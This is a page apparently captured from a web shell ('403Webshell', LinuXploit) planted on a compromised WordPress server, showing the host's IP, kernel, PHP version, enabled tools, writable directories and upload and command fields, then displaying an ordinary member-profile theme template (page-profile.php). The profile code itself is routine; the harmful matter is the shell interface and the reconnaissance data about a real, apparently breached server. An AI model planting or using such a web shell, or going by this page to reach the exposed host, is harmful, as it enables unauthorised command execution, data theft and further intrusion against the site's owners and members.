403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ttc_wordpress/wp-content/themes/ttc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/ttc_wordpress/wp-content/themes/ttc/page-profile.php
<?php
/*
Template Name: Profile
*/

// Redirect if user is not logged in
if (!is_user_logged_in()) {
    wp_redirect(wp_login_url(get_permalink()));
    exit;
}

// Get current user information
$current_user = wp_get_current_user();
$user_id = $current_user->ID;

// Get user meta data
$first_name = get_user_meta($user_id, 'first_name', true);
$last_name = get_user_meta($user_id, 'last_name', true);
$email = $current_user->user_email;
$membership_number = get_user_meta($user_id, 'membership_number', true);
$mobile = get_user_meta($user_id, 'mobile_number', true);
$address = get_user_meta($user_id, 'address', true);

// Get member post ID linked to this user
$member_post_id = get_user_meta($user_id, 'member_post_id', true);

// If there's a linked member post, get additional data from ACF fields
if ($member_post_id) {
    // These will override the user meta if they exist in the ACF fields
    $acf_first_name = get_field('first_name', $member_post_id);
    $acf_last_name = get_field('last_name', $member_post_id);
    $acf_email = get_field('email', $member_post_id);
    $acf_phone = get_field('phone', $member_post_id);
    $acf_address = get_field('address', $member_post_id);
    $acf_membership_number = get_field('membership_number', $member_post_id);
    $acf_membership_type = get_field('membership_type', $member_post_id);
    $acf_member_status = get_field('member_status', $member_post_id);
    $profile_image = get_field('profile_image', $member_post_id);

    // Use ACF fields if available, otherwise fallback to user meta
    $first_name = $acf_first_name ?: $first_name;
    $last_name = $acf_last_name ?: $last_name;
    $email = $acf_email ?: $email;
    $mobile = $acf_phone ?: $mobile;
    $address = $acf_address ?: $address;
    $membership_number = $acf_membership_number ?: $membership_number;

    // Format membership type for display
    $membership_types = [
      'Life Members' => 'Life Members',
      'Members' => 'Members',
      'Associate Members' => 'Associate Members',
      'Corporate Members' => 'Corporate Members',
      'Honorary Member' => 'Honorary Member',
      'Student Member' => 'Student Member',
      'Senior Associate Member' => 'Senior Associate Member',
      'Spouse Member' => 'Spouse Member',
      'Morning Member' => 'Morning Member',
      'Family Member' => 'Family Member'
    ];

    $membership_type_display = isset($membership_types[$acf_membership_type]) ? $membership_types[$acf_membership_type] : $acf_membership_type;

    // Format member status for display
    $member_statuses = [
        'inactive' => 'Inactive',
        'active' => 'Active',
        'suspended' => 'Suspended',
        'expired' => 'Expired'
    ];

    $member_status_display = isset($member_statuses[$acf_member_status]) ? $member_statuses[$acf_member_status] : $acf_member_status;
}

// Check if profile update form was submitted
$profile_updated = false;
$update_errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['update_profile'])) {
    if (isset($_POST['profile_nonce']) && wp_verify_nonce($_POST['profile_nonce'], 'update_profile_nonce')) {
        // Get form data
        $new_first_name = sanitize_text_field($_POST['first_name']);
        $new_last_name = sanitize_text_field($_POST['last_name']);
        $new_mobile = sanitize_text_field($_POST['mobile']);
        $new_address = sanitize_textarea_field($_POST['address']);

        // Update user meta
        update_user_meta($user_id, 'first_name', $new_first_name);
        update_user_meta($user_id, 'last_name', $new_last_name);
        update_user_meta($user_id, 'mobile_number', $new_mobile);
        update_user_meta($user_id, 'address', $new_address);

        // Update ACF fields if member post exists
        if ($member_post_id) {
            update_field('first_name', $new_first_name, $member_post_id);
            update_field('last_name', $new_last_name, $member_post_id);
            update_field('phone', $new_mobile, $member_post_id);
            update_field('address', $new_address, $member_post_id);

            // Update profile image if uploaded
            if (!empty($_FILES['profile_image']['name'])) {
                // WordPress image upload handling
                require_once(ABSPATH . 'wp-admin/includes/image.php');
                require_once(ABSPATH . 'wp-admin/includes/file.php');
                require_once(ABSPATH . 'wp-admin/includes/media.php');

                $attachment_id = media_handle_upload('profile_image', 0);

                if (is_wp_error($attachment_id)) {
                    $update_errors[] = 'Error uploading profile image: ' . $attachment_id->get_error_message();
                } else {
                    // Format image data for ACF
                    $image_data = [
                        'ID' => $attachment_id,
                        'id' => $attachment_id,
                        'url' => wp_get_attachment_url($attachment_id),
                        'alt' => '',
                        'title' => basename(get_attached_file($attachment_id))
                    ];

                    update_field('profile_image', $image_data, $member_post_id);
                }
            }
        }

        // Update WP user display name
        wp_update_user([
            'ID' => $user_id,
            'display_name' => $new_first_name . ' ' . $new_last_name
        ]);

        // Set profile updated flag
        $profile_updated = true;

        // Refresh page data
        $first_name = $new_first_name;
        $last_name = $new_last_name;
        $mobile = $new_mobile;
        $address = $new_address;

        // Refresh profile image
        if ($member_post_id) {
            $profile_image = get_field('profile_image', $member_post_id);
        }
    } else {
        $update_errors[] = 'Security verification failed.';
    }
}

get_header();

if (have_posts()) : the_post();
?>

<div class="py-20">
  <div class="container px-4 sm:px-8 lg:grid lg:grid-cols-12 lg:gap-4">
    <div class="lg:col-span-3 mt-6 lg:mt-0">
      <?php
     // Include the member menu template part
     get_template_part('parts/member-menu');
     ?>
    </div>

    <div class="lg:col-span-9">
      <?php if ($profile_updated): ?>
      <div class="bg-green-100 border border-green-400 text-green-700 px-4 py-3 rounded relative mb-4" role="alert">
        <p>Your profile has been updated successfully!</p>
      </div>
      <?php endif; ?>

      <?php if (!empty($update_errors)): ?>
      <div class="bg-red-100 border border-red-400 text-red-700 px-4 py-3 rounded relative mb-4" role="alert">
        <?php foreach ($update_errors as $error): ?>
          <p><?php echo esc_html($error); ?></p>
        <?php endforeach; ?>
      </div>
      <?php endif; ?>

      <!-- View Profile Section -->
      <div id="view-profile" class="p-5 bg-white border border-gray-300 rounded-lg">
        <div class="lg:grid lg:grid-cols-12 gap-4">
          <div class="lg:col-span-12 flex justify-end">
            <button id="edit-profile-btn" class="lg:float-right mt-3 lg:mt-0 text-white green-bg rounded-xl flex justify-center radious-sm px-8 py-4 uppercase hover:bg-white hover:text-black hover:border-gray-700 hover:border">Edit Profile</button>
          </div>
          <div class="lg:col-span-4 my-6">
            <div class="profile-otr">
              <div class="rounded-full profile-round-box overflow-hidden relative inline-block">
                <?php if (!empty($profile_image)): ?>
                  <img src="<?php echo esc_url($profile_image['url']); ?>" alt="<?php echo esc_attr($first_name . ' ' . $last_name); ?>" />
                <?php else: ?>
                  <img src="<?php echo esc_url(get_template_directory_uri() . '/images/default-profile.png'); ?>" alt="Default Profile" />
                <?php endif; ?>
              </div>
              <h4 class="text-xl font-medium mt-4"><?php echo esc_html($first_name . ' ' . $last_name); ?></h4>
              <p><?php echo !empty($address) ? esc_html(strtok($address, "\n")) : ''; ?></p>
              <?php if (!empty($acf_member_status)): ?>
                <p class="mt-2">
                  <span class="inline-block px-3 py-1 rounded-full text-sm
                    <?php echo ($acf_member_status === 'active') ? 'bg-green-500 text-white' :
                          (($acf_member_status === 'inactive') ? 'bg-red-500 text-white' :
                          (($acf_member_status === 'suspended') ? 'bg-orange-500 text-white' : 'bg-gray-500 text-white')); ?>">
                    <?php echo esc_html($member_status_display); ?>
                  </span>
                </p>
              <?php endif; ?>
            </div>
          </div>
          <div class="lg:col-span-8 my-6">
            <div class="lg:grid lg:grid-cols-12 gap-4">
              <div class="lg:col-span-6 my-3 font-semibold">First Name:</div>
              <div class="lg:col-span-6 my-3 text-base"><?php echo esc_html($first_name); ?></div>
            </div>
            <div class="lg:grid lg:grid-cols-12 gap-4">
              <div class="lg:col-span-6 my-3 font-semibold">Last Name:</div>
              <div class="lg:col-span-6 my-3 text-base"><?php echo esc_html($last_name); ?></div>
            </div>
            <div class="lg:grid lg:grid-cols-12 gap-4">
              <div class="lg:col-span-6 my-3 font-semibold">Email:</div>
              <div class="lg:col-span-6 my-3 text-base"><?php echo esc_html($email); ?></div>
            </div>
            <div class="lg:grid lg:grid-cols-12 gap-4">
              <div class="lg:col-span-6 my-3 font-semibold">Membership Number:</div>
              <div class="lg:col-span-6 my-3 text-base"><?php echo esc_html($membership_number); ?></div>
            </div>
            <?php if (!empty($acf_membership_type)): ?>
            <div class="lg:grid lg:grid-cols-12 gap-4">
              <div class="lg:col-span-6 my-3 font-semibold">Membership Type:</div>
              <div class="lg:col-span-6 my-3 text-base"><?php echo esc_html($membership_type_display); ?></div>
            </div>
            <?php endif; ?>
            <div class="lg:grid lg:grid-cols-12 gap-4">
              <div class="lg:col-span-6 my-3 font-semibold">Mobile:</div>
              <div class="lg:col-span-6 my-3 text-base"><?php echo esc_html($mobile); ?></div>
            </div>
            <?php if (!empty($address)): ?>
            <div class="lg:grid lg:grid-cols-12 gap-4">
              <div class="lg:col-span-6 my-3 font-semibold">Address:</div>
              <div class="lg:col-span-6 my-3 text-base"><?php echo nl2br(esc_html($address)); ?></div>
            </div>
            <?php endif; ?>
          </div>
        </div>
      </div>

      <!-- Edit Profile Form - Hidden by Default -->
      <div id="edit-profile" class="p-5 bg-white border border-gray-300 rounded-lg" style="display: none;">
        <h3 class="text-xl font-bold mb-5">Edit Your Profile</h3>

        <form method="post" action="" enctype="multipart/form-data">
          <?php wp_nonce_field('update_profile_nonce', 'profile_nonce'); ?>

          <div class="mb-5">
            <div class="mb-4 text-center">
              <div class="profile-image-preview mx-auto rounded-full overflow-hidden relative" style="width: 150px; height: 150px;">
                <?php if (!empty($profile_image)): ?>
                  <img id="profile-preview" src="<?php echo esc_url($profile_image['url']); ?>" alt="Profile Image" style="width: 100%; height: 100%; object-fit: cover;">
                <?php else: ?>
                  <img id="profile-preview" src="<?php echo esc_url(get_template_directory_uri() . '/images/default-profile.png'); ?>" alt="Default Profile" style="width: 100%; height: 100%; object-fit: cover;">
                <?php endif; ?>
              </div>
              <div class="mt-3">
                <label for="profile_image" class="cursor-pointer bg-gray-200 hover:bg-gray-300 text-gray-800 px-4 py-2 rounded-lg">
                  Change Profile Picture
                </label>
                <input type="file" id="profile_image" name="profile_image" class="hidden" accept="image/*">
              </div>
            </div>
          </div>

          <div class="lg:grid lg:grid-cols-2 gap-x-4 gap-y-4">
            <div class="mb-4">
              <label for="first_name" class="block text-sm font-medium text-gray-700 mb-2">First Name</label>
              <input type="text"
                    id="first_name"
                    name="first_name"
                    value="<?php echo esc_attr($first_name); ?>"
                    class="bg-white border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-4"
                    required>
            </div>

            <div class="mb-4">
              <label for="last_name" class="block text-sm font-medium text-gray-700 mb-2">Last Name</label>
              <input type="text"
                    id="last_name"
                    name="last_name"
                    value="<?php echo esc_attr($last_name); ?>"
                    class="bg-white border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-4"
                    required>
            </div>

            <div class="mb-4">
              <label for="email" class="block text-sm font-medium text-gray-700 mb-2">Email (cannot be changed)</label>
              <input type="email"
                    id="email"
                    value="<?php echo esc_attr($email); ?>"
                    class="bg-gray-100 border border-gray-300 text-gray-700 text-sm rounded-lg block w-full p-4"
                    readonly>
            </div>

            <div class="mb-4">
              <label for="mobile" class="block text-sm font-medium text-gray-700 mb-2">Mobile</label>
              <input type="tel"
                    id="mobile"
                    name="mobile"
                    value="<?php echo esc_attr($mobile); ?>"
                    class="bg-white border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-4"
                    required>
            </div>

            <div class="mb-4 lg:col-span-2">
              <label for="address" class="block text-sm font-medium text-gray-700 mb-2">Address</label>
              <textarea
                    id="address"
                    name="address"
                    class="bg-white border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-4"
                    rows="4"><?php echo esc_textarea($address); ?></textarea>
            </div>

            <div class="mb-4">
              <label for="membership_number" class="block text-sm font-medium text-gray-700 mb-2">Membership Number (cannot be changed)</label>
              <input type="text"
                    id="membership_number"
                    value="<?php echo esc_attr($membership_number); ?>"
                    class="bg-gray-100 border border-gray-300 text-gray-700 text-sm rounded-lg block w-full p-4"
                    readonly>
            </div>

            <?php if (!empty($acf_membership_type)): ?>
            <div class="mb-4">
              <label for="membership_type" class="block text-sm font-medium text-gray-700 mb-2">Membership Type (cannot be changed)</label>
              <input type="text"
                    id="membership_type"
                    value="<?php echo esc_attr($membership_type_display); ?>"
                    class="bg-gray-100 border border-gray-300 text-gray-700 text-sm rounded-lg block w-full p-4"
                    readonly>
            </div>
            <?php endif; ?>
          </div>

          <div class="flex justify-between mt-6">
            <button type="button"
                    id="cancel-edit-btn"
                    class="bg-gray-300 hover:bg-gray-400 text-gray-800 font-bold py-3 px-6 rounded-lg">
              Cancel
            </button>

            <button type="submit"
                    name="update_profile"
                    class="green-bg hover:bg-green-700 text-white font-bold py-3 px-6 rounded-lg">
              Save Changes
            </button>
          </div>
        </form>
      </div>
    </div>
  </div>
</div>

<script>
document.addEventListener('DOMContentLoaded', function() {
    // Toggle between view and edit modes
    const viewProfile = document.getElementById('view-profile');
    const editProfile = document.getElementById('edit-profile');
    const editProfileBtn = document.getElementById('edit-profile-btn');
    const cancelEditBtn = document.getElementById('cancel-edit-btn');

    editProfileBtn.addEventListener('click', function() {
        viewProfile.style.display = 'none';
        editProfile.style.display = 'block';
    });

    cancelEditBtn.addEventListener('click', function() {
        editProfile.style.display = 'none';
        viewProfile.style.display = 'block';
    });

    // Profile image preview
    const profileImageInput = document.getElementById('profile_image');
    const profilePreview = document.getElementById('profile-preview');

    profileImageInput.addEventListener('change', function() {
        if (this.files && this.files[0]) {
            const reader = new FileReader();
            reader.onload = function(e) {
                profilePreview.src = e.target.result;
            };
            reader.readAsDataURL(this.files[0]);
        }
    });
});
</script>

<?php
endif;
get_footer();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit